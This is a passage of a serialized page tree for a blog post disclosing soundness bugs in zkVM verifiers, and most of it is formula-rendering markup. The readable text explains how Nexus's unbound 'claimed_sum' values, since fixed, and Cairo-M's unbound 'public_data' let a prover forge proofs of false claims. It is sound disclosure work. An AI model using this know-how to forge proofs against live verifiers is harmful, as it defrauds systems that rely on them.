8714,"children":118716},{"className":118715},[6070,6071,6072,6073],[118717],{"type":22,"tag":118,"props":118718,"children":118720},{"className":118719},[6023,6073],[118721],{"type":22,"tag":118,"props":118722,"children":118724},{"className":118723},[6023,6073],[118725],{"type":28,"value":6026},{"type":22,"tag":118,"props":118727,"children":118729},{"className":118728},[23699],[118730],{"type":28,"value":23702},{"type":22,"tag":118,"props":118732,"children":118734},{"className":118733},[6050],[118735],{"type":22,"tag":118,"props":118736,"children":118739},{"className":118737,"style":118738},[6055],"height:0.6283em;",[118740],{"type":22,"tag":118,"props":118741,"children":118742},{},[],{"type":22,"tag":118,"props":118744,"children":118746},{"className":118745},[23693,115161],[],{"type":22,"tag":118,"props":118748,"children":118750},{"className":118749,"style":6105},[6104],[],{"type":22,"tag":118,"props":118752,"children":118754},{"className":118753},[6110],[118755],{"type":28,"value":6084},{"type":22,"tag":118,"props":118757,"children":118759},{"className":118758,"style":6105},[6104],[],{"type":22,"tag":118,"props":118761,"children":118763},{"className":118762},[6012],[118764,118768,118825,118829],{"type":22,"tag":118,"props":118765,"children":118767},{"className":118766,"style":116075},[6017],[],{"type":22,"tag":118,"props":118769,"children":118771},{"className":118770},[23578],[118772,118777],{"type":22,"tag":118,"props":118773,"children":118775},{"className":118774,"style":23585},[23578,23583,23584],[118776],{"type":28,"value":110438},{"type":22,"tag":118,"props":118778,"children":118780},{"className":118779},[6040],[118781],{"type":22,"tag":118,"props":118782,"children":118784},{"className":118783},[6045,23596],[118785,118814],{"type":22,"tag":118,"props":118786,"children":118788},{"className":118787},[6050],[118789,118809],{"type":22,"tag":118,"props":118790,"children":118792},{"className":118791,"style":115315},[6055],[118793],{"type":22,"tag":118,"props":118794,"children":118795},{"style":23609},[118796,118800],{"type":22,"tag":118,"props":118797,"children":118799},{"className":118798,"style":6065},[6064],[],{"type":22,"tag":118,"props":118801,"children":118803},{"className":118802},[6070,6071,6072,6073],[118804],{"type":22,"tag":118,"props":118805,"children":118807},{"className":118806,"style":96072},[6023,23542,6073],[118808],{"type":28,"value":90280},{"type":22,"tag":118,"props":118810,"children":118812},{"className":118811},[23699],[118813],{"type":28,"value":23702},{"type":22,"tag":118,"props":118815,"children":118817},{"className":118816},[6050],[118818],{"type":22,"tag":118,"props":118819,"children":118821},{"className":118820,"style":116130},[6055],[118822],{"type":22,"tag":118,"props":118823,"children":118824},{},[],{"type":22,"tag":118,"props":118826,"children":118828},{"className":118827,"style":6143},[6104],[],{"type":22,"tag":118,"props":118830,"children":118832},{"className":118831},[6023],[118833,118837,118987],{"type":22,"tag":118,"props":118834,"children":118836},{"className":118835},[23671,115161],[],{"type":22,"tag":118,"props":118838,"children":118840},{"className":118839},[115166],[118841],{"type":22,"tag":118,"props":118842,"children":118844},{"className":118843},[6045,23596],[118845,118976],{"type":22,"tag":118,"props":118846,"children":118848},{"className":118847},[6050],[118849,118971],{"type":22,"tag":118,"props":118850,"children":118852},{"className":118851,"style":115179},[6055],[118853,118940,118951],{"type":22,"tag":118,"props":118854,"children":118855},{"style":115183},[118856,118860],{"type":22,"tag":118,"props":118857,"children":118859},{"className":118858,"style":113814},[6064],[],{"type":22,"tag":118,"props":118861,"children":118863},{"className":118862},[6070,6071,6072,6073],[118864],{"type":22,"tag":118,"props":118865,"children":118867},{"className":118866},[6023,6073],[118868,118873,118878],{"type":22,"tag":118,"props":118869,"children":118871},{"className":118870,"style":115200},[6023,23542,6073],[118872],{"type":28,"value":115203},{"type":22,"tag":118,"props":118874,"children":118876},{"className":118875},[6110,6073],[118877],{"type":28,"value":6084},{"type":22,"tag":118,"props":118879,"children":118881},{"className":118880},[6023,6073],[118882,118892],{"type":22,"tag":118,"props":118883,"children":118885},{"className":118884},[6023,28,6073],[118886],{"type":22,"tag":118,"props":118887,"children":118889},{"className":118888},[6023,6073],[118890],{"type":28,"value":118891},"consumed",{"type":22,"tag":118,"props":118893,"children":118895},{"className":118894},[6040],[118896],{"type":22,"tag":118,"props":118897,"children":118899},{"className":118898},[6045,23596],[118900,118929],{"type":22,"tag":118,"props":118901,"children":118903},{"className":118902},[6050],[118904,118924],{"type":22,"tag":118,"props":118905,"children":118907},{"className":118906,"style":113975},[6055],[118908],{"type":22,"tag":118,"props":118909,"children":118910},{"style":116220},[118911,118915],{"type":22,"tag":118,"props":118912,"children":118914},{"className":118913,"style":110503},[6064],[],{"type":22,"tag":118,"props":118916,"children":118918},{"className":118917},[6070,110508,110509,6073],[118919],{"type":22,"tag":118,"props":118920,"children":118922},{"className":118921,"style":96072},[6023,23542,6073],[118923],{"type":28,"value":90280},{"type":22,"tag":118,"props":118925,"children":118927},{"className":118926},[23699],[118928],{"type":28,"value":23702},{"type":22,"tag":118,"props":118930,"children":118932},{"className":118931},[6050],[118933],{"type":22,"tag":118,"props":118934,"children":118936},{"className":118935,"style":116247},[6055],[118937],{"type":22,"tag":118,"props":118938,"children":118939},{},[],{"type":22,"tag":118,"props":118941,"children":118942},{"style":115216},[118943,118947],{"type":22,"tag":118,"props":118944,"children":118946},{"className":118945,"style":113814},[6064],[],{"type":22,"tag":118,"props":118948,"children":118950},{"className":118949,"style":115226},[115225],[],{"type":22,"tag":118,"props":118952,"children":118953},{"style":115230},[118954,118958],{"type":22,"tag":118,"props":118955,"children":118957},{"className":118956,"style":113814},[6064],[],{"type":22,"tag":118,"props":118959,"children":118961},{"className":118960},[6070,6071,6072,6073],[118962],{"type":22,"tag":118,"props":118963,"children":118965},{"className":118964},[6023,6073],[118966],{"type":22,"tag":118,"props":118967,"children":118969},{"className":118968},[6023,6073],[118970],{"type":28,"value":6026},{"type":22,"tag":118,"props":118972,"children":118974},{"className":118973},[23699],[118975],{"type":28,"value":23702},{"type":22,"tag":118,"props":118977,"children":118979},{"className":118978},[6050],[118980],{"type":22,"tag":118,"props":118981,"children":118983},{"className":118982,"style":116295},[6055],[118984],{"type":22,"tag":118,"props":118985,"children":118986},{},[],{"type":22,"tag":118,"props":118988,"children":118990},{"className":118989},[23693,115161],[],{"type":22,"tag":31,"props":118992,"children":118993},{},[118994,118996,119001],{"type":28,"value":118995},"All ",{"type":22,"tag":114,"props":118997,"children":118999},{"className":118998},[],[119000],{"type":28,"value":116507},{"type":28,"value":119002}," values must sum to zero (everything produced is consumed).",{"type":22,"tag":31,"props":119004,"children":119005},{},[119006,119008,119013],{"type":28,"value":119007},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":22,"tag":74,"props":119009,"children":119010},{},[119011],{"type":28,"value":119012},"OODS (Out-of-Domain Sampling)",{"type":28,"value":119014}," test.",{"type":22,"tag":31,"props":119016,"children":119017},{},[119018],{"type":22,"tag":74,"props":119019,"children":119020},{},[119021],{"type":28,"value":117059},{"type":22,"tag":107,"props":119023,"children":119025},{"code":119024},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[119026],{"type":22,"tag":114,"props":119027,"children":119028},{"__ignoreMap":7},[119029],{"type":28,"value":119024},{"type":22,"tag":31,"props":119031,"children":119032},{},[119033,119035,119040],{"type":28,"value":119034},"The",{"type":22,"tag":114,"props":119036,"children":119038},{"className":119037},[],[119039],{"type":28,"value":116507},{"type":28,"value":119041}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":22,"tag":31,"props":119043,"children":119044},{},[119045],{"type":22,"tag":5928,"props":119046,"children":119049},{"alt":119047,"src":119048},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":22,"tag":31,"props":119051,"children":119052},{},[119053,119055,119064],{"type":28,"value":119054},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":22,"tag":74,"props":119056,"children":119057},{},[119058,119059],{"type":28,"value":113514},{"type":22,"tag":114,"props":119060,"children":119062},{"className":119061},[],[119063],{"type":28,"value":116507},{"type":28,"value":213},{"type":22,"tag":31,"props":119066,"children":119067},{},[119068],{"type":28,"value":119069},"The composition polynomial is a random linear combination of constraints:",{"type":22,"tag":31,"props":119071,"children":119072},{},[119073],{"type":22,"tag":114,"props":119074,"children":119076},{"className":119075},[5995,5996],[119077],{"type":22,"tag":118,"props":119078,"children":119080},{"className":119079},[6001],[119081],{"type":22,"tag":118,"props":119082,"children":119084},{"className":119083,"ariaHidden":6007},[6006],[119085,119126,119265],{"type":22,"tag":118,"props":119086,"children":119088},{"className":119087},[6012],[119089,119093,119098,119103,119108,119113,119117,119122],{"type":22,"tag":118,"props":119090,"children":119092},{"className":119091,"style":6125},[6017],[],{"type":22,"tag":118,"props":119094,"children":119096},{"className":119095,"style":24074},[6023,23542],[119097],{"type":28,"value":117872},{"type":22,"tag":118,"props":119099,"children":119101},{"className":119100},[23671],[119102],{"type":28,"value":540},{"type":22,"tag":118,"props":119104,"children":119106},{"className":119105},[6023,23542],[119107],{"type":28,"value":21243},{"type":22,"tag":118,"props":119109,"children":119111},{"className":119110},[23693],[119112],{"type":28,"value":3627},{"type":22,"tag":118,"props":119114,"children":119116},{"className":119115,"style":6202},[6104],[],{"type":22,"tag":118,"props":119118,"children":119120},{"className":119119},[6207],[119121],{"type":28,"value":282},{"type":22,"tag":118,"props":119123,"children":119125},{"className":119124,"style":6202},[6104],[],{"type":22,"tag":118,"props":119127,"children":119129},{"className":119128},[6012],[119130,119134,119191,119195,119252,119256,119261],{"type":22,"tag":118,"props":119131,"children":119133},{"className":119132,"style":117276},[6017],[],{"type":22,"tag":118,"props":119135,"children":119137},{"className":119136},[23578],[119138,119143],{"type":22,"tag":118,"props":119139,"children":119141},{"className":119140,"style":23585},[23578,23583,23584],[119142],{"type":28,"value":110438},{"type":22,"tag":118,"props":119144,"children":119146},{"className":119145},[6040],[119147],{"type":22,"tag":118,"props":119148,"children":119150},{"className":119149},[6045,23596],[119151,119180],{"type":22,"tag":118,"props":119152,"children":119154},{"className":119153},[6050],[119155,119175],{"type":22,"tag":118,"props":119156,"children":119158},{"className":119157,"style":115850},[6055],[119159],{"type":22,"tag":118,"props":119160,"children":119161},{"style":23609},[119162,119166],{"type":22,"tag":118,"props":119163,"children":119165},{"className":119164,"style":6065},[6064],[],{"type":22,"tag":118,"props":119167,"children":119169},{"className":119168},[6070,6071,6072,6073],[119170],{"type":22,"tag":118,"props":119171,"children":119173},{"className":119172},[6023,23542,6073],[119174],{"type":28,"value":3613},{"type":22,"tag":118,"props":119176,"children":119178},{"className":119177},[23699],[119179],{"type":28,"value":23702},{"type":22,"tag":118,"props":119181,"children":119183},{"className":119182},[6050],[119184],{"type":22,"tag":118,"props":119185,"children":119187},{"className":119186,"style":116130},[6055],[119188],{"type":22,"tag":118,"props":119189,"children":119190},{},[],{"type":22,"tag":118,"props":119192,"children":119194},{"className":119193,"style":6143},[6104],[],{"type":22,"tag":118,"props":119196,"children":119198},{"className":119197},[6023],[119199,119204],{"type":22,"tag":118,"props":119200,"children":119202},{"className":119201,"style":116731},[6023,23542],[119203],{"type":28,"value":116734},{"type":22,"tag":118,"props":119205,"children":119207},{"className":119206},[6040],[119208],{"type":22,"tag":118,"props":119209,"children":119211},{"className":119210},[6045,23596],[119212,119241],{"type":22,"tag":118,"props":119213,"children":119215},{"className":119214},[6050],[119216,119236],{"type":22,"tag":118,"props":119217,"children":119219},{"className":119218,"style":95172},[6055],[119220],{"type":22,"tag":118,"props":119221,"children":119222},{"style":117366},[119223,119227],{"type":22,"tag":118,"props":119224,"children":119226},{"className":119225,"style":6065},[6064],[],{"type":22,"tag":118,"props":119228,"children":119230},{"className":119229},[6070,6071,6072,6073],[119231],{"type":22,"tag":118,"props":119232,"children":119234},{"className":119233},[6023,23542,6073],[119235],{"type":28,"value":3613},{"type":22,"tag":118,"props":119237,"children":119239},{"className":119238},[23699],[119240],{"type":28,"value":23702},{"type":22,"tag":118,"props":119242,"children":119244},{"className":119243},[6050],[119245],{"type":22,"tag":118,"props":119246,"children":119248},{"className":119247,"style":94726},[6055],[119249],{"type":22,"tag":118,"props":119250,"children":119251},{},[],{"type":22,"tag":118,"props":119253,"children":119255},{"className":119254,"style":6105},[6104],[],{"type":22,"tag":118,"props":119257,"children":119259},{"className":119258},[6110],[119260],{"type":28,"value":112905},{"type":22,"tag":118,"props":119262,"children":119264},{"className":119263,"style":6105},[6104],[],{"type":22,"tag":118,"props":119266,"children":119268},{"className":119267},[6012],[119269,119273,119335,119340,119345],{"type":22,"tag":118,"props":119270,"children":119272},{"className":119271,"style":6125},[6017],[],{"type":22,"tag":118,"props":119274,"children":119276},{"className":119275},[6023],[119277,119287],{"type":22,"tag":118,"props":119278,"children":119280},{"className":119279},[6023,28],[119281],{"type":22,"tag":118,"props":119282,"children":119284},{"className":119283},[6023],[119285],{"type":28,"value":119286},"constraint",{"type":22,"tag":118,"props":119288,"children":119290},{"className":119289},[6040],[119291],{"type":22,"tag":118,"props":119292,"children":119294},{"className":119293},[6045,23596],[119295,119324],{"type":22,"tag":118,"props":119296,"children":119298},{"className":119297},[6050],[119299,119319],{"type":22,"tag":118,"props":119300,"children":119302},{"className":119301,"style":95172},[6055],[119303],{"type":22,"tag":118,"props":119304,"children":119305},{"style":115773},[119306,119310],{"type":22,"tag":118,"props":119307,"children":119309},{"className":119308,"style":6065},[6064],[],{"type":22,"tag":118,"props":119311,"children":119313},{"className":119312},[6070,6071,6072,6073],[119314],{"type":22,"tag":118,"props":119315,"children":119317},{"className":119316},[6023,23542,6073],[119318],{"type":28,"value":3613},{"type":22,"tag":118,"props":119320,"children":119322},{"className":119321},[23699],[119323],{"type":28,"value":23702},{"type":22,"tag":118,"props":119325,"children":119327},{"className":119326},[6050],[119328],{"type":22,"tag":118,"props":119329,"children":119331},{"className":119330,"style":94726},[6055],[119332],{"type":22,"tag":118,"props":119333,"children":119334},{},[],{"type":22,"tag":118,"props":119336,"children":119338},{"className":119337},[23671],[119339],{"type":28,"value":540},{"type":22,"tag":118,"props":119341,"children":119343},{"className":119342},[6023,23542],[119344],{"type":28,"value":21243},{"type":22,"tag":118,"props":119346,"children":119348},{"className":119347},[23693],[119349],{"type":28,"value":3627},{"type":22,"tag":31,"props":119351,"children":119352},{},[119353,119355,119360,119362,119367],{"type":28,"value":119354},"Since each constraint is linear in its ",{"type":22,"tag":114,"props":119356,"children":119358},{"className":119357},[],[119359],{"type":28,"value":116507},{"type":28,"value":119361},", the overall composition polynomial is linear in all ",{"type":22,"tag":114,"props":119363,"children":119365},{"className":119364},[],[119366],{"type":28,"value":116507},{"type":28,"value":119368}," values.",{"type":22,"tag":31,"props":119370,"children":119371},{},[119372,119374],{"type":28,"value":119373},"The verifier checks ",{"type":22,"tag":114,"props":119375,"children":119377},{"className":119376},[5995,5996],[119378],{"type":22,"tag":118,"props":119379,"children":119381},{"className":119380},[6001],[119382],{"type":22,"tag":118,"props":119383,"children":119385},{"className":119384,"ariaHidden":6007},[6006],[119386,119447],{"type":22,"tag":118,"props":119387,"children":119389},{"className":119388},[6012],[119390,119394,119399,119404,119414,119419,119429,119434,119438,119443],{"type":22,"tag":118,"props":119391,"children":119393},{"className":119392,"style":94585},[6017],[],{"type":22,"tag":118,"props":119395,"children":119397},{"className":119396,"style":24074},[6023,23542],[119398],{"type":28,"value":117872},{"type":22,"tag":118,"props":119400,"children":119402},{"className":119401},[23671],[119403],{"type":28,"value":540},{"type":22,"tag":118,"props":119405,"children":119407},{"className":119406},[6023,28],[119408],{"type":22,"tag":118,"props":119409,"children":119411},{"className":119410},[6023],[119412],{"type":28,"value":119413},"oods",{"type":22,"tag":118,"props":119415,"children":119417},{"className":119416,"style":94643},[6023],[119418],{"type":28,"value":3422},{"type":22,"tag":118,"props":119420,"children":119422},{"className":119421},[6023,28],[119423],{"type":22,"tag":118,"props":119424,"children":119426},{"className":119425},[6023],[119427],{"type":28,"value":119428},"point",{"type":22,"tag":118,"props":119430,"children":119432},{"className":119431},[23693],[119433],{"type":28,"value":3627},{"type":22,"tag":118,"props":119435,"children":119437},{"className":119436,"style":6202},[6104],[],{"type":22,"tag":118,"props":119439,"children":119441},{"className":119440},[6207],[119442],{"type":28,"value":282},{"type":22,"tag":118,"props":119444,"children":119446},{"className":119445,"style":6202},[6104],[],{"type":22,"tag":118,"props":119448,"children":119450},{"className":119449},[6012],[119451,119455],{"type":22,"tag":118,"props":119452,"children":119454},{"className":119453,"style":116698},[6017],[],{"type":22,"tag":118,"props":119456,"children":119458},{"className":119457},[6023,28],[119459],{"type":22,"tag":118,"props":119460,"children":119462},{"className":119461},[6023],[119463],{"type":28,"value":118197},{"type":22,"tag":31,"props":119465,"children":119466},{},[119467,119469,119474,119476,119481],{"type":28,"value":119468},"With ",{"type":22,"tag":114,"props":119470,"children":119472},{"className":119471},[],[119473],{"type":28,"value":116507},{"type":28,"value":119475}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":22,"tag":114,"props":119477,"children":119479},{"className":119478},[],[119480],{"type":28,"value":116507},{"type":28,"value":119482}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":22,"tag":31,"props":119484,"children":119485},{},[119486,119490,119492],{"type":22,"tag":74,"props":119487,"children":119488},{},[119489],{"type":28,"value":118353},{"type":28,"value":119491}," Fixed on October 24, 2025 via ",{"type":22,"tag":42,"props":119493,"children":119496},{"href":119494,"rel":119495},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[46],[119497],{"type":28,"value":119498},"PR #503",{"type":22,"tag":20760,"props":119500,"children":119501},{},[],{"type":22,"tag":1289,"props":119503,"children":119505},{"id":119504},"cairo-m-kakarot-labs",[119506],{"type":28,"value":119507},"Cairo-M (Kakarot Labs)",{"type":22,"tag":31,"props":119509,"children":119510},{},[119511],{"type":28,"value":119512},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":22,"tag":31,"props":119514,"children":119515},{},[119516],{"type":28,"value":119517},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":22,"tag":31,"props":119519,"children":119520},{},[119521],{"type":22,"tag":74,"props":119522,"children":119523},{},[119524],{"type":28,"value":117059},{"type":22,"tag":107,"props":119526,"children":119528},{"code":119527},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[119529],{"type":22,"tag":114,"props":119530,"children":119531},{"__ignoreMap":7},[119532],{"type":28,"value":119527},{"type":22,"tag":31,"props":119534,"children":119535},{},[119536],{"type":22,"tag":74,"props":119537,"children":119538},{},[119539],{"type":28,"value":117075},{"type":22,"tag":31,"props":119541,"children":119542},{},[119543],{"type":22,"tag":5928,"props":119544,"children":119547},{"alt":119545,"src":119546},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":22,"tag":31,"props":119549,"children":119550},{},[119551,119553,119559],{"type":28,"value":119552},"Lookup challenges are derived without ",{"type":22,"tag":114,"props":119554,"children":119556},{"className":119555},[],[119557],{"type":28,"value":119558},"public_data",{"type":28,"value":119560}," being  mixed into the transcript.",{"type":22,"tag":31,"props":119562,"children":119563},{},[119564,119565,119570,119572,119577],{"type":28,"value":2743},{"type":22,"tag":114,"props":119566,"children":119568},{"className":119567},[],[119569],{"type":28,"value":119558},{"type":28,"value":119571}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":22,"tag":4764,"props":119573,"children":119574},{},[119575],{"type":28,"value":119576},"denominators",{"type":28,"value":119578}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":22,"tag":31,"props":119580,"children":119581},{},[119582],{"type":22,"tag":114,"props":119583,"children":119585},{"className":119584},[5995,5996],[119586],{"type":22,"tag":118,"props":119587,"children":119589},{"className":119588},[6001],[119590],{"type":22,"tag":118,"props":119591,"children":119593},{"className":119592,"ariaHidden":6007},[6006],[119594,119654,119700,119746],{"type":22,"tag":118,"props":119595,"children":119597},{"className":119596},[6012],[119598,119602,119608,119613,119622,119627,119636,119641,119645,119650],{"type":22,"tag":118,"props":119599,"children":119601},{"className":119600,"style":94585},[6017],[],{"type":22,"tag":118,"props":119603,"children":119605},{"className":119604},[6023,23542],[119606],{"type":28,"value":119607},"L",{"type":22,"tag":118,"props":119609,"children":119611},{"className":119610},[23671],[119612],{"type":28,"value":540},{"type":22,"tag":118,"props":119614,"children":119616},{"className":119615},[6023,28],[119617],{"type":22,"tag":118,"props":119618,"children":119620},{"className":119619},[6023],[119621],{"type":28,"value":63616},{"type":22,"tag":118,"props":119623,"children":119625},{"className":119624,"style":94643},[6023],[119626],{"type":28,"value":3422},{"type":22,"tag":118,"props":119628,"children":119630},{"className":119629},[6023,28],[119631],{"type":22,"tag":118,"props":119632,"children":119634},{"className":119633},[6023],[119635],{"type":28,"value":5715},{"type":22,"tag":118,"props":119637,"children":119639},{"className":119638},[23693],[119640],{"type":28,"value":3627},{"type":22,"tag":118,"props":119642,"children":119644},{"className":119643,"style":6105},[6104],[],{"type":22,"tag":118,"props":119646,"children":119648},{"className":119647},[6110],[119649],{"type":28,"value":3220},{"type":22,"tag":118,"props":119651,"children":119653},{"className":119652,"style":6105},[6104],[],{"type":22,"tag":118,"props":119655,"children":119657},{"className":119656},[6012],[119658,119662,119672,119677,119687,119691,119696],{"type":22,"tag":118,"props":119659,"children":119661},{"className":119660,"style":94585},[6017],[],{"type":22,"tag":118,"props":119663,"children":119665},{"className":119664},[6023,28],[119666],{"type":22,"tag":118,"props":119667,"children":119669},{"className":119668},[6023],[119670],{"type":28,"value":119671},"(other transcript",{"type":22,"tag":118,"props":119673,"children":119675},{"className":119674,"style":94643},[6023],[119676],{"type":28,"value":3422},{"type":22,"tag":118,"props":119678,"children":119680},{"className":119679},[6023,28],[119681],{"type":22,"tag":118,"props":119682,"children":119684},{"className":119683},[6023],[119685],{"type":28,"value":119686},"bound terms)",{"type":22,"tag":118,"props":119688,"children":119690},{"className":119689,"style":6202},[6104],[],{"type":22,"tag":118,"props":119692,"children":119694},{"className":119693},[6207],[119695],{"type":28,"value":282},{"type":22,"tag":118,"props":119697,"children":119699},{"className":119698,"style":6202},[6104],[],{"type":22,"tag":118,"props":119701,"children":119703},{"className":119702},[6012],[119704,119709,119714,119719,119724,119728,119733,119737,119742],{"type":22,"tag":118,"props":119705,"children":119708},{"className":119706,"style":119707},[6017],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":22,"tag":118,"props":119710,"children":119712},{"className":119711},[6023],[119713],{"type":28,"value":6036},{"type":22,"tag":118,"props":119715,"children":119717},{"className":119716},[6136],[119718],{"type":28,"value":6139},{"type":22,"tag":118,"props":119720,"children":119723},{"className":119721,"style":119722},[6104],"margin-right:2em;",[],{"type":22,"tag":118,"props":119725,"children":119727},{"className":119726,"style":6143},[6104],[],{"type":22,"tag":118,"props":119729,"children":119731},{"className":119730},[6023,23542],[119732],{"type":28,"value":119607},{"type":22,"tag":118,"props":119734,"children":119736},{"className":119735,"style":6202},[6104],[],{"type":22,"tag":118,"props":119738,"children":119740},{"className":119739},[6207],[119741],{"type":28,"value":282},{"type":22,"tag":118,"props":119743,"children":119745},{"className":119744,"style":6202},[6104],[],{"type":22,"tag":118,"props":119747,"children":119749},{"className":119748},[6012],[119750,119755,119812,119816,120034],{"type":22,"tag":118,"props":119751,"children":119754},{"className":119752,"style":119753},[6017],"height:1.4071em;vertical-align:-0.562em;",[],{"type":22,"tag":118,"props":119756,"children":119758},{"className":119757},[23578],[119759,119764],{"type":22,"tag":118,"props":119760,"children":119762},{"className":119761,"style":23585},[23578,23583,23584],[119763],{"type":28,"value":110438},{"type":22,"tag":118,"props":119765,"children":119767},{"className":119766},[6040],[119768],{"type":22,"tag":118,"props":119769,"children":119771},{"className":119770},[6045,23596],[119772,119801],{"type":22,"tag":118,"props":119773,"children":119775},{"className":119774},[6050],[119776,119796],{"type":22,"tag":118,"props":119777,"children":119779},{"className":119778,"style":115850},[6055],[119780],{"type":22,"tag":118,"props":119781,"children":119782},{"style":23609},[119783,119787],{"type":22,"tag":118,"props":119784,"children":119786},{"className":119785,"style":6065},[6064],[],{"type":22,"tag":118,"props":119788,"children":119790},{"className":119789},[6070,6071,6072,6073],[119791],{"type":22,"tag":118,"props":119792,"children":119794},{"className":119793},[6023,23542,6073],[119795],{"type":28,"value":3613},{"type":22,"tag":118,"props":119797,"children":119799},{"className":119798},[23699],[119800],{"type":28,"value":23702},{"type":22,"tag":118,"props":119802,"children":119804},{"className":119803},[6050],[119805],{"type":22,"tag":118,"props":119806,"children":119808},{"className":119807,"style":116130},[6055],[119809],{"type":22,"tag":118,"props":119810,"children":119811},{},[],{"type":22,"tag":118,"props":119813,"children":119815},{"className":119814,"style":6143},[6104],[],{"type":22,"tag":118,"props":119817,"children":119819},{"className":119818},[6023],[119820,119824,120030],{"type":22,"tag":118,"props":119821,"children":119823},{"className":119822},[23671,115161],[],{"type":22,"tag":118,"props":119825,"children":119827},{"className":119826},[115166],[119828],{"type":22,"tag":118,"props":119829,"children":119831},{"className":119830},[6045,23596],[119832,120018],{"type":22,"tag":118,"props":119833,"children":119835},{"className":119834},[6050],[119836,120013],{"type":22,"tag":118,"props":119837,"children":119839},{"className":119838,"style":115179},[6055],[119840,119982,119993],{"type":22,"tag":118,"props":119841,"children":119842},{"style":115183},[119843,119847],{"type":22,"tag":118,"props":119844,"children":119846},{"className":119845,"style":113814},[6064],[],{"type":22,"tag":118,"props":119848,"children":119850},{"className":119849},[6070,6071,6072,6073],[119851],{"type":22,"tag":118,"props":119852,"children":119854},{"className":119853},[6023,6073],[119855,119860,119865,119871,119876,119881,119938,119943,119952,119957,119966,119972,119977],{"type":22,"tag":118,"props":119856,"children":119858},{"className":119857,"style":115200},[6023,23542,6073],[119859],{"type":28,"value":115203},{"type":22,"tag":118,"props":119861,"children":119863},{"className":119862},[6110,6073],[119864],{"type":28,"value":3220},{"type":22,"tag":118,"props":119866,"children":119868},{"className":119867},[23671,6073],[119869],{"type":28,"value":119870},"⟨",{"type":22,"tag":118,"props":119872,"children":119874},{"className":119873,"style":116731},[6023,23542,6073],[119875],{"type":28,"value":116734},{"type":22,"tag":118,"props":119877,"children":119879},{"className":119878},[6136,6073],[119880],{"type":28,"value":6139},{"type":22,"tag":118,"props":119882,"children":119884},{"className":119883},[6023,6073],[119885,119890],{"type":22,"tag":118,"props":119886,"children":119888},{"className":119887},[6023,23542,6073],[119889],{"type":28,"value":23684},{"type":22,"tag":118,"props":119891,"children":119893},{"className":119892},[6040],[119894],{"type":22,"tag":118,"props":119895,"children":119897},{"className":119896},[6045,23596],[119898,119927],{"type":22,"tag":118,"props":119899,"children":119901},{"className":119900},[6050],[119902,119922],{"type":22,"tag":118,"props":119903,"children":119905},{"className":119904,"style":115967},[6055],[119906],{"type":22,"tag":118,"props":119907,"children":119908},{"style":110498},[119909,119913],{"type":22,"tag":118,"props":119910,"children":119912},{"className":119911,"style":110503},[6064],[],{"type":22,"tag":118,"props":119914,"children":119916},{"className":119915},[6070,110508,110509,6073],[119917],{"type":22,"tag":118,"props":119918,"children":119920},{"className":119919},[6023,23542,6073],[119921],{"type":28,"value":3613},{"type":22,"tag":118,"props":119923,"children":119925},{"className":119924},[23699],[119926],{"type":28,"value":23702},{"type":22,"tag":118,"props":119928,"children":119930},{"className":119929},[6050],[119931],{"type":22,"tag":118,"props":119932,"children":119934},{"className":119933,"style":110528},[6055],[119935],{"type":22,"tag":118,"props":119936,"children":119937},{},[],{"type":22,"tag":118,"props":119939,"children":119941},{"className":119940},[23671,6073],[119942],{"type":28,"value":540},{"type":22,"tag":118,"props":119944,"children":119946},{"className":119945},[6023,28,6073],[119947],{"type":22,"tag":118,"props":119948,"children":119950},{"className":119949},[6023,6073],[119951],{"type":28,"value":63616},{"type":22,"tag":118,"props":119953,"children":119955},{"className":119954,"style":94643},[6023,6073],[119956],{"type":28,"value":3422},{"type":22,"tag":118,"props":119958,"children":119960},{"className":119959},[6023,28,6073],[119961],{"type":22,"tag":118,"props":119962,"children":119964},{"className":119963},[6023,6073],[119965],{"type":28,"value":5715},{"type":22,"tag":118,"props":119967,"children":119969},{"className":119968},[23693,6073],[119970],{"type":28,"value":119971},")⟩",{"type":22,"tag":118,"props":119973,"children":119975},{"className":119974},[6110,6073],[119976],{"type":28,"value":3220},{"type":22,"tag":118,"props":119978,"children":119980},{"className":119979,"style":116786},[6023,23542,6073],[119981],{"type":28,"value":116789},{"type":22,"tag":118,"props":119983,"children":119984},{"style":115216},[119985,119989],{"type":22,"tag":118,"props":119986,"children":119988},{"className":119987,"style":113814},[6064],[],{"type":22,"tag":118,"props":119990,"children":119992},{"className":119991,"style":115226},[115225],[],{"type":22,"tag":118,"props":119994,"children":119995},{"style":115230},[119996,120000],{"type":22,"tag":118,"props":119997,"children":119999},{"className":119998,"style":113814},[6064],[],{"type":22,"tag":118,"props":120001,"children":120003},{"className":120002},[6070,6071,6072,6073],[120004],{"type":22,"tag":118,"props":120005,"children":120007},{"className":120006},[6023,6073],[120008],{"type":22,"tag":118,"props":120009,"children":120011},{"className":120010},[6023,6073],[120012],{"type":28,"value":6026},{"type":22,"tag":118,"props":120014,"children":120016},{"className":120015},[23699],[120017],{"type":28,"value":23702},{"type":22,"tag":118,"props":120019,"children":120021},{"className":120020},[6050],[120022],{"type":22,"tag":11